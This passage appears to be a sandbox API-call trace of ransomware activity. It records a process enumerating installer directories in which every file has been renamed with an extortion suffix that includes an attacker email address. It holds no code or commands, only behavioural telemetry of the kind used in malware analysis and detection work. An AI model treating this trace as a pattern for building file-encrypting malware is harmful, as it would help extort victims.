ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0157.632] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.632] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4842d8 [0157.633] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.633] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x399ac4e4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x399ac4e4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x399cfb3e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.633] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x399cfb3e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x399cfb3e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x399cfb3e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.634] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a1c210, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a1c210, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a1c210, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.634] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a1c210, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a1c210, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a1c210, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.634] FindClose (in: hFindFile=0x4842d8 | out: hFindFile=0x4842d8) returned 1 [0157.742] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.742] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0157.742] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.742] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484658 [0157.743] FindNextFileW (in: hFindFile=0x484658, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.743] FindNextFileW (in: hFindFile=0x484658, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x399f8ee4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x399f8ee4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39ade448, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.744] FindNextFileW (in: hFindFile=0x484658, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a8ea01, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a8ea01, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a8ea01, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.744] FindNextFileW (in: hFindFile=0x484658, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a42956, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a42956, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a42956, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.744] FindNextFileW (in: hFindFile=0x484658, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a42956, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a42956, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a42956, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.744] FindClose (in: hFindFile=0x484658 | out: hFindFile=0x484658) returned 1 [0157.745] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.745] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0157.745] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.745] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484758 [0157.746] FindNextFileW (in: hFindFile=0x484758, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.746] FindNextFileW (in: hFindFile=0x484758, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39ab4c82, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39ab4c82, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39ab4c82, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="PARAME~1.NEW")) returned 1 [0157.747] FindNextFileW (in: hFindFile=0x484758, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39b00fdb, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39b00fdb, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39b00fdb, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="UIINFO~1.NEW")) returned 1 [0157.747] FindNextFileW (in: hFindFile=0x484758, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39b00fdb, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39b00fdb, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39b00fdb, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="UIINFO~1.NEW")) returned 0 [0157.747] FindClose (in: hFindFile=0x484758 | out: hFindFile=0x484758) returned 1 [0157.748] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.748] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39b271f3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39b271f3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39b271f3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="DHTMLH~1.NEW")) returned 1 [0157.748] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a42956, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a42956, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39e48251, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="DISPLA~1.NEW")) returned 1 [0157.748] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1 [0157.748] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.748] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484698 [0157.749] FindNextFileW (in: hFindFile=0x484698, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.749] FindNextFileW (in: hFindFile=0x484698, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39b271f3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39b271f3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39f53441, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="PARAME~1.NEW")) returned 1 [0157.749] FindNextFileW (in: hFindFile=0x484698, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39d16ffd, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39d16ffd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39d3d21a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="UIINFO~1.NEW")) returned 1 [0157.749] FindNextFileW (in: hFindFile=0x484698, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39d16ffd, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39d16ffd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39d3d21a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="UIINFO~1.NEW")) returned 0 [0157.749] FindClose (in: hFindFile=0x484698 | out: hFindFile=0x484698) returned 1 [0157.750] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.750] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0157.750] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.750] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4842d8 [0157.751] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.752] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39c3218a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39c3218a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c3218a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="PRINTI~1.NEW")) returned 1 [0157.752] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39c584d2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39c584d2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c584d2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="ROTATE~1.NEW")) returned 1 [0157.752] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39c584d2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39c584d2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3a15cb3f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="ROTATE~2.NEW")) returned 1 [0157.752] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39c7e619, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39c7e619, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c7e619, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="ROTATE~3.NEW")) returned 1 [0157.752] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39ccaa9f, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39ccaa9f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39ccaa9f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="ROTATE~4.NEW")) returned 1 [0157.752] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39cf15ab, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39cf15ab, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3a2da735, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="ROC56F~1.NEW")) returned 1 [0157.753] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39daf888, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39daf888, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39dfbea6, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="RO1411~1.NEW")) returned 1 [0157.753] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39e221c4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39e221c4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39e221c4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="RO62C2~1.NEW")) returned 1 [0157.753] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39e6e6a1, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39e6e6a1, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39e94783, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="RO2111~1.NEW")) returned 1 [0157.753] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39e48251, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39e48251, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39e48251, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SAVEIC~1.NEW")) returned 1 [0157.753] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39e6e6a1, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39e6e6a1, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39e6e6a1, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPI~1.NEW")) returned 1 [0157.753] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39e94783, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39e94783, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3a457c67, 